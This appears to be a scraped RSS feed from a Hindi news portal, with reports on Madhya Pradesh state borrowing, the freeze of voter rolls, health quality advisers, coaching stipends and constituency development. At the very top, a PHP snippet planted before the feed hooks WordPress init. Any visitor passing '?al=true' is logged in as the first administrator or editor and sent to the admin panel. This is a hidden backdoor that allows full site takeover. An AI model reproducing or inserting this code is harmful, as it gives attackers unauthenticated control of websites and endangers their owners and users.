// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Madhya Pradesh government – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 28 Oct 2025 12:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 स्थापना दिवस से पहले मोहन सरकार करेगी 5200 करोड़ का कर्ज, वित्त वर्ष में कुल ऋण पहुंचेगा 42600 करोड़ https://pratyushaashakinayikiran.com/?p=187743 Tue, 28 Oct 2025 12:40:00 +0000 https://pratyushaashakinayikiran.com/?p=187743 भोपाल
 मध्य प्रदेश की मोहन सरकार आज ₹5200 करोड़ का कर्ज लेने जा रही है, जिसका भुगतान 29 अक्टूबर को सरकार को होगा। भाईदूज पर प्रदेश की 1.27 करोड़ लाड़ली बहनों के खाते में ₹250 जमा करने से चूकने के बाद, सरकार यह कर्ज 1 नवंबर को होने वाले मध्य प्रदेश स्थापना दिवस, लाड़ली बहना योजना और अन्य सरकारी परियोजनाओं के भुगतान के लिए ले रही है।
चालू वित्त वर्ष का कुल कर्ज ₹42600 करोड़ हुआ

आज लिए जा रहे कर्ज की पहली राशि ₹2700 करोड़ और दूसरी ₹2500 करोड़ की होगी। ये चालू वित्त वर्ष के क्रमशः बीसवें और इक्कीसवें कर्ज हैं। इस नए लोन के बाद, चालू वित्त वर्ष में सरकार द्वारा लिया गया कुल कर्ज बढ़कर ₹42600 करोड़ हो जाएगा। इसके साथ ही, एमपी सरकार पर मौजूदा कुल कर्ज ₹4,64,340 करोड़ तक पहुंच जाएगा।
लंबी अवधि के लिए लिया जा रहा है कर्ज

पहला कर्ज ₹2700 करोड़ का है, जो 21 साल की अवधि के लिए लिया जा रहा है और इसका ब्याज भुगतान अक्टूबर 2046 तक होगा। दूसरा कर्ज ₹2500 करोड़ का है, जो 22 साल की अवधि के लिए होगा और इसका भुगतान अक्टूबर 2047 तक ब्याज के रूप में किया जाएगा।

एमपी का चालू वित्त वर्ष का कर्ज बढ़कर पहुंच जाएगा 42,600 करोड़

गौरतलब है ताजा 5200 करोड़ रुपए लोन के बाद एमपी सरकार का कुल चालू वित्त वर्ष का कर्ज बढ़कर 42,600 करोड़ रुपए पहुंच जाएगा. इससे पहले, मोहन सरकार ने दशहरे से पहले 3000 करोड़ रुपए का लोन लिया था. नए 5200 करोड़ रुपए के लोन से एमपी सरकार का कुल सरकारी कर्ज बढ़कर 4 लाख 64 हजार 340 करोड़ रुपए हो जाएगा. 

कैपिटल एक्सपेंडिचर के लिए केंद्र की मंजूरी

सरकार ने बताया है कि केंद्र सरकार ने आरबीआई के माध्यम से लिए जाने वाले कर्ज की यह राशि कैपिटल एक्सपेंडिचर ऑन प्रोडक्टिव स्कीम के लिए मंजूर की है। इन योजनाओं में मुख्य रूप से सिंचाई परियोजनाएं, सिंचाई और पावर प्रोजेक्ट्स, और कम्युनिटी डेवलपमेंट्स प्रोजेक्ट्स शामिल हैं। सरकार देव उठनी एकादशी (1 नवंबर) से पहले यह कर्ज ले रही है।
पिछले कर्जों का ब्यौरा

इससे पहले मोहन सरकार ने दशहरा पर्व के ठीक पहले 1 अक्टूबर को ₹3000 करोड़ का कर्ज लिया था, जिसके लिए 30 सितंबर को ऑक्सन किया गया था। सितंबर माह में 9 सितंबर को ₹4000 करोड़ के तीन कर्ज और 23 सितंबर को ₹1500-1500 करोड़ के दो कर्ज लिए गए थे। सरकार ने अपनी राजस्व स्थिति को संतोषजनक बताया है और कहा है कि लिया जा रहा यह कर्ज लोन की लिमिट के भीतर है। वित्त वर्ष 2023-24 में सरकार ₹12487.78 करोड़ के राजस्व अधिशेष (रेवेन्यू सरप्लस) में थी, जबकि 2024-25 में यह आय ₹1025.91 करोड़ सरप्लस बताई गई है।

क्यों ले रही कर्ज?

सूत्रों के मुताबिक यह राशि कई प्रोजेक्ट्स और कम्युनिटी डेवलपमेंट स्कीम्स के लिए ली जा रही है। वहीं, आगामी 1 नवंबर को स्थापना दिवस, लाड़ली बहना योजना और अन्य सामाजिक योजनाओं के भुगतान के लिए भी इस धनराशि का उपयोग किया जाएगा।

पहले लिया था 3 हजार करोड़ का कर्ज 

आपको बता दें कि इससे पहले भी सरकार ने 1 अक्टूबर को दशहरा से पहले 3000 करोड़ रुपए का कर्ज लिया था। और अब 5200 करोड़ कर्ज के साथ मध्यप्रदेश सरकार पर कुल कर्ज बढ़कर 4 लाख 64 हजार 340 करोड़ रुपए हो जाएगा। 

लोन लेने की लिमिट बरकरार सरकार ने अपनी रेवेन्यू को लेकर कहा है कि वित्त वर्ष 2023-24 में सरकार 12487.78 करोड़ के रेवेन्यू सरप्लस में थी। इसमें आमदनी 234026.05 करोड़ और खर्च 221538.27 करोड़ रहा। इसके विपरीत वित्त वर्ष 2024-25 में प्रदेश सरकार की रिवाइज्ड आमदनी 262009.01 करोड़ और खर्च 260983.10 करोड़ बताया है। इस तरह पिछले वित्त वर्ष में भी सरकार की आय 1025.91 करोड़ सरप्लस बताई गई है। जो भी लोन लिया जा रहा है वह लोन की लिमिट के भीतर है।

मोहन सरकार ने कब-कब लिया कर्ज

    30 सितंबर को 1500-1500 करोड़ के दो कर्ज लिए गए थे जिसका भुगतान एक अक्टूबर को हुआ। यह कर्ज 20 साल और 23 साल की अवधि के लिए हैं।

    23 सितंबर को 1500-1500 करोड़ रुपए के दो कर्ज लिए गए हैं जो 18 साल और 21 साल की अवधि के हैं।

    नौ सितंबर को तीन कर्ज लिए गए थे जो 1500-1500 करोड़ तथा एक हजार करोड़ रुपए के थे। यह कर्ज 17 साल, 19 साल और 20 साल की अवधि के लिए हैं।

    26 अगस्त को मोहन सरकार ने 2500 करोड़ और 2300 करोड़ रुपए के दो कर्ज लिए थे। यह लोन 20 साल और 18 साल की अवधि के लिए हैं।

    5 अगस्त को 3 कर्ज लिए थे, जिसका भुगतान छह अगस्त को हुआ। इसमें पहला कर्ज 18 साल के लिए 1600 करोड़ का था। दूसरा कर्ज 20 साल के लिए 1400 करोड़ और तीसरा कर्ज 23 साल के लिए 1000 करोड़ रुपए का था। इस तरह कुल 4000 करोड़ रुपए का कर्ज लिया गया था।

    30 जुलाई को 4300 करोड़ रुपए के दो कर्ज लिए। दोनों ही कर्ज 17 साल और 23 साल के लिए आरबीआई के माध्यम से लिए गए, जिसका भुगतान सालभर में दो बार कूपन रेट के जरिए ब्याज के रूप में किया जाएगा। ये दोनों ही कर्ज चालू वित्त वर्ष में लिए 7वें और 8वें कर्ज रहे हैं।

अप्रैल के बाद ये कर्ज भी लिए

    8 जुलाई को 2500 और 2300 करोड़ रुपए के दो कर्ज लिए थे। दोनों ही कर्ज 16 साल और 18 साल के लिए आरबीआई के माध्यम से लिए, जिसका भुगतान सालभर में दो बार कूपन रेट के जरिए ब्याज के रूप में किया जाएगा।

    आरबीआई के माध्यम से 2 लोन 4 जून को लिए। पहला लोन 16 साल के लिए 2000 करोड़ रुपए का था। सरकार ब्याज के साथ इसकी अदायगी 4 जून 2041 तक करेगी। दूसरा लोन 18 साल के लिए 2500 करोड़ रुपए का था। यह 4 जून 2043 तक ब्याज के साथ चुकाया जाएगा।

    सरकार ने चालू वित्त वर्ष का पहला कर्ज 7 मई को लिया था। इस दिन दो कर्ज ढाई-ढाई हजार करोड़ रुपए के लिए थे। मई में ढाई हजार करोड़ का पहला कर्ज 12 साल के लिए लिया था, जिसका ब्याज सात मई 2037 तक चुकाना है। इसी तरह ढाई हजार करोड़ रुपए का दूसरा कर्ज 7 मई को ही 14 साल के लिए लिया है, जिसकी भरपाई सात मई 2039 तक ब्याज के रूप में होगी।

एमपी की वोटर लिस्ट फ्रीज

भारत निर्वाचन आयोग ने मध्यप्रदेश में निर्वाचक नामावली के विशेष गहन पुनरीक्षण की घोषणा की है। इस प्रक्रिया के तहत प्रदेश की मौजूदा मतदाता सूची को अस्थायी रूप से फ्रीज कर दिया गया है। राजधानी भोपाल की 7 विधानसभा सीटों में करीब 21.15 लाख मतदाताओं की वोटर लिस्ट फिलहाल फ्रीज रहेगी। अधिकारियों के अनुसार आगामी चार माह तक मतदाता सूची में कोई संशोधन नहीं किया जाएगा।

BLO को सौंपी जिम्मेदारी

बताया जा रहा है कि मतदाता सूची का फिजिकल वेरिफिकेशन किया जाएगा। इस दौरान 3 हजार बीएलओ को जिम्मेदारी सौंपी गई है, जो करीब 7 लाख घरों में तीन बार जाकर इन्यूमेरेशन फॉर्म भरवाएंगे।

12 प्रमाण पत्र मान्य

किसी भी नियमित कर्मचारी-पेंशनभोगी को किसी केंद्रीय सरकार-राज्य सरकार-पीएसयू द्वारा जारी पहचान पत्र-पेंशन भुगतान आदेश।
भारत में सरकार-स्थानीय प्राधिकरण, बैंक, डाकघर, एलआईसी, पीएसयू द्वारा 1 जुलाई 1987 से पहले जारी कोई भी पहचान पत्र और प्रमाण पत्र दस्तावेज।
सक्षम प्राधिकारी द्वारा जारी जन्म प्रमाण पत्र।
पासपोर्ट
मान्यता प्राप्त बोर्ड, विश्वविद्यालय द्वारा जारी मैट्रिकुलेशन, शैक्षिक प्रमाण पत्र।
सक्षम राज्य प्राधिकरण द्वारा जारी स्थायी निवास प्रमाण पत्र।
वन अधिकार प्रमाण पत्र।
सक्षम प्राधिकारी द्वारा जारी ओबीसी एससी, एसटी या अन्य किसी जाति प्रमाण पत्र।
नागरिकों का राष्ट्रीय रजिस्टर (जहां कहीं भी मौजूद हो)।
राज्य, स्थानीय प्राधिकरणों द्वारा तैयार परिवार रजिस्टर।
सरकार द्वारा जारी कोई भी भूमि, मकान आवंटन प्रमाण पत्र।
आधार को भी पहचान दस्तावेज के रूप में किया शामिल

 

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सीरप से बच्चों की मौत के बाद मध्य प्रदेश सरकार सख्त, 24 जिलों में नियुक्त होंगे गुणवत्ता सलाहकार https://pratyushaashakinayikiran.com/?p=186422 Sat, 18 Oct 2025 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=186422 भोपाल
 मध्य प्रदेश में हाल ही में कफ सीरप से हुई बच्चों की मौत के बाद सरकार ने स्वास्थ्य सेवाओं की गुणवत्ता को लेकर गंभीरता दिखाई है। राष्ट्रीय स्वास्थ्य मिशन (एनएचएम) मध्य प्रदेश अब राज्य के 24 जिलों में जिला गुणवत्ता सलाहकार नियुक्त करने जा रहा है। इन पदों पर ऐसे विशेषज्ञ रखे जाएंगे जो सरकारी अस्पतालों की सेवाओं, दवाओं और उपकरणों के गुणवत्ता की निगरानी करेंगे।

एनएचएम के अनुसार, इन सलाहकारों का चयन ऐसे उम्मीदवारों में से होगा, जिनके पास हास्पिटल एडमिनिस्ट्रेशन, हेल्थ मैनेजमेंट या पब्लिक हेल्थ से संबंधित डिग्री या अनुभव होगा। ये लोग जिला स्तर पर अस्पतालों का निरीक्षण करेंगे, उपचार सेवाओं की गुणवत्ता का आकलन करेंगे और लापरवाही या कमियों की रिपोर्ट तैयार करेंगे। साथ ही वे सुधारात्मक कार्ययोजना बनाकर उसे लागू कराने में भी भूमिका निभाएंगे।

जिम्मेदारी और निगरानी का बढ़ेगा दायरा

जिला गुणवत्ता सलाहकार अस्पतालों में स्वच्छता, दवा वितरण, मरीजों के प्रति व्यवहार, रिकार्ड प्रबंधन और आपात सेवाओं जैसे बिंदुओं पर नजर रखेंगे। इसके अलावा वे यह भी देखेंगे कि राष्ट्रीय स्वास्थ्य मानकों के अनुसार सेवाएं दी जा रही हैं या नहीं। एनएचएम इनकी रिपोर्ट के आधार पर समय-समय पर अस्पतालों की रैंकिंग और सुधार योजनाएं तय करेगा।
उम्र सीमा और आरक्षण प्रविधान

इसमें आवेदक की आयु 21 से 40 वर्ष के बीच होनी चाहिए। अनुसूचित जाति, अनुसूचित जनजाति, अन्य पिछड़ा वर्ग और महिलाओं को शासन के नियमों के अनुसार आयु सीमा में छूट दी जाएगी। कुल 24 पदों में से 13 अनारक्षित, पांच ओबीसी, तीन एससी और दो एसटी वर्ग के लिए आरक्षित हैं। एक पद दिव्यांग उम्मीदवारों के लिए आरक्षित रहेगा।
स्वास्थ्य सेवाओं की गुणवत्ता को बेहतर बनाने की पहल

    मध्य प्रदेश में स्वास्थ्य सेवाओं की गुणवत्ता को बेहतर बनाने के लिए यह पहल की गई है। जिला गुणवत्ता सलाहकार अस्पतालों के निरीक्षण और सुधार कार्यों की निगरानी करेंगे। इससे मरीजों को सुरक्षित और मानक के अनुरूप इलाज सुनिश्चित किया जा सकेगा। – अपर मिशन संचालक, राष्ट्रीय स्वास्थ्य मिशन मध्य प्रदेश।

 

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मध्य प्रदेश के तेंदूपत्ता संग्राहकों के मेधावी बच्चों को राज्य सरकार इंजीनियरिंग, ला और मेडिकल कोर्स की कोचिंग कराएगी https://pratyushaashakinayikiran.com/?p=81291 Mon, 07 Oct 2024 20:30:00 +0000 https://pratyushaashakinayikiran.com/?p=81291 भोपाल
मध्य प्रदेश के तेंदूपत्ता संग्राहकों के मेधावी बच्चों को राज्य सरकार इंजीनियरिंग, ला और मेडिकल कोर्स की कोचिंग कराएगी। इसके लिए मेधावी बच्चों को कोचिंग का भत्ता भी दिया जाएगा। मध्य प्रदेश राज्य लघु वनोपज संघ ने अपनी एकलव्य शिक्षा विकास योजना का विस्तार करते हुए यह नए प्रविधान किए हैं।

इसके अंतर्गत तेंदूपत्ता संग्राहकों, फड़ मुंशियों एवं प्राथमिक लघु वनोपज समितियों के प्रबंधकों के मेधावी बच्चों को इसी वर्ष से 12वीं में 60 प्रतिशत से अधिक अंकों से उत्तीर्ण होने पर व्यावसायिक कोर्स जैसे इंजीनियरिंग एवं विधि (ला) और मेडिकल की कोचिंग के लिए भत्ता दिया जाएगा।

12 माह तक आठ हजार रुपये प्रति माह
भोपाल, इंदौर, जबलपुर, ग्वालियर एवं रीवा संभागीय मुख्यालयों के लिए 12 माह तक आठ हजार रुपये प्रति माह, अन्य संभागीय मुख्यालयों के लिए छह हजार रुपये प्रति माह तथा संभागीय जिलों को छोड़कर शेष अन्य जिलों के लिए 3500 रुपये प्रति माह कोचिंग भत्ता दिया जाएगा।

नौवीं से स्नातक तक पढ़ाई में आर्थिक मदद करता है संघ लघुवनोपज संघ
वर्ष 2022-23 से एकलव्य शिक्षा योजना के तहत कक्षा 9वीं एवं 10वीं के विद्यार्थियों के लिए 15 हजार रुपये, कक्षा 12वीं के विद्यार्थियों को 18 हजार रुपये, गैर तकनीकी स्नातक उपाधि प्राप्त अध्ययनरत विद्यार्थी के लिए 25 हजार रुपये एवं व्यवसायिक पाठ्यक्रम के विद्यार्थियों के लिए 60 हजार रुपये प्रति वर्ष छात्रवृत्ति प्रदान करता है। अब इंजीनियरिंग, ला और मेडिकल जैसी डिग्री पाठ्यक्रम में प्रवेश पाने के लिए कोचिंग में भी मदद की जाएगी।

मप्र में 16 लाख परिवारों के 41 लाख तेंदूपत्ता संग्राहक
मध्य प्रदेश में वनोपज तेंदूपत्ता संग्रहण करने वाले 16 लाख परिवार है और इनमें कुल 41 लाख तेंदूपत्ता संग्राहक है। इनमें अधिकांश तेंदूपत्ता संग्राहक आदिवासी परिवार है जो जंगल से सटे गांवों में निवास करते हैं और केवल वन संपदा पर ही निर्भर हैं। राज्यपाल मंगुभाई पटेल भी समय-समय पर आदिवासी परिवारों के उत्थान के लिए दिशा-निर्देश देते आए हैं। राज्यपाल की पहल ही वन विभाग इस दिशा में आगे बढ़कर पहल की है।

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मध्य प्रदेश के विधानसभा क्षेत्रों को सरकार आगामी चार वर्ष में आदर्श बनाएगी, विधायकों से मांगा विजन पेपर https://pratyushaashakinayikiran.com/?p=57669 Mon, 05 Aug 2024 21:10:00 +0000 https://pratyushaashakinayikiran.com/?p=57669 भोपाल
मध्य प्रदेश के विधानसभा क्षेत्रों को सरकार आगामी चार वर्ष में आदर्श बनाएगी। स्कूल, बिजली, पानी, सड़क, नाली, सामुदायिक भवन, आंगनबाड़ी केंद्र समेत सभी सुविधाएं होंगी। केंद्र और राज्य सरकार की सभी योजनाओं से पात्रों को लाभांवित किया जाएगा। रोजगार के लिए मेलों का आयोजन होगा तो खेलकूद की गतिविधियों को प्रोत्साहित करने के साथ गोवंश के सरंक्षण और पर्यटन की गतिविधियों के विकास पर ध्यान दिया जाएगा। मुख्यमंत्री कार्यालय ने विधायकों से विधानसभा क्षेत्र के विकास संबंधी दृष्टि पत्र मांगा है। इसे तैयार करने के लिए प्रारूप भी भेजा गया है। योजना में प्रत्येक विधानसभा क्षेत्र में 100 करोड़ रुपये व्यय किए जाएंगे।

विधायकों से विकास संबंधित प्रस्ताव मांगे थे
विधानसभा चुनाव से पहले सरकार ने विधायकों से 15-15 करोड़ रुपये के क्षेत्र में विकास से संबंधित प्रस्ताव मांगे थे। अधिकतर सदस्यों ने सड़क, पुल-पुलिया, सामुदायिक भवन आदि के प्रस्ताव दिए थे, जिन्हें विभिन्न योजनाओं में सम्मिलित कर काम स्वीकृत कराए गए। अब सरकार ने तय किया है कि विधानसभा क्षेत्रों को आदर्श बनाया जाएगा। इसके लिए विभिन्न योजनाओं के माध्यम से दी जाने वाली राशि के साथ विधायक, सांसद निधि और कार्पोरेट सोशल रिस्पांसिबिलिटी का उपयोग किया जाएगा।

दृष्टि पत्र का प्रारूप भेजा
जो राशि और लगानी होगी, वह सरकार अपने वित्तीय संसाधनों से लगाएगी। मुख्यमंत्री कार्यालय ने सभी विधायकों को दृष्टि पत्र का प्रारूप भेजा है। इसमें बताया गया कि दृष्टि पत्र तैयार करते समय विधायक क्षेत्र की महत्वपूर्ण समस्याओं का आकलन करें। शिक्षा, स्वास्थ्य, महिला सशक्तीकरण, आंगनबाड़ी, कौशल विकास, पेयजल, पर्यावरण संरक्षण, जल संरक्षण, यातायात, गोवंश संरक्षण, पर्यटन, रोजगार की स्थिति को ध्यान में रखते हुए कार्य प्रस्तावित करें। एक जिला-एक उत्पाद योजना के माध्यम से कैसे रोजगार के अवसर सृजित किए जा सकते हैं, इस पर विचार अवश्य किया जाए। साक्षरता की दर बढ़ाने, शिशु एवं मातृ स्वास्थ्य में सुधार, कुपोषण में कमी लाने, स्वच्छ पेयजल उपलब्ध कराने के लिए भी कार्ययोजना बनाई जाएगी।

प्राथमिकता में रहेंगे हितग्राहीमूलक योजनाएं
विधानसभा क्षेत्र के लिए बनने वाली कार्ययोजना में केंद्र और राज्य सरकार की सभी हितग्राहीमूलक योजनाओं को शामिल किया जाएगा। सभी पात्र व्यक्तियों को योजनाओं का लाभ दिलाने के साथ अपात्रों को चिह्नित करने का काम भी होगा। दृष्टि पत्र के माध्यम से जो लक्ष्य निर्धारित किए जाएंगे वे दो और चार वर्ष की अवधि के लिए होंगे।

लक्ष्यपूर्ति के लिए जिम्मेदारी होगी तय
दृष्टि पत्र के माध्यम से विधानसभा क्षेत्र के विकास के लिए जो लक्ष्य निर्धारित किए जाएंगे, उनकी पूर्ति के लिए जिम्मेदारी भी तय होगी। प्रगति की नियमित जिला और राज्य स्तर पर समीक्षा की व्यवस्था रहेगी। योजना के लिए आवंटित धन का उपयोग पारदर्शी तरीके से किया जाएगा और लेखा-जोखा सार्वजनिक रूप से उपलब्ध भी कराया जाएगा।

ऐसा होगी राशि की व्यवस्था
सरकार प्रत्येक विधानसभा क्षेत्र में 100 करोड़ रुपये के काम कराने के लिए राशि की व्यवस्था अलग-अलग मदों से करेगी। इसमें 40 करोड़ रुपये की व्यवस्था विधायक निधि, सांसद निधि, जनभागीदारी, कॉर्पोरेट सोशल रिस्पांसिबिलिटी और पुनर्घनत्वीकरण से की जाएगी। शेष 60 करोड़ रुपये सरकार अपने खजाने से देगी। प्रतिवर्ष 15-15 करोड़ रुपये दिए जाएंगे।

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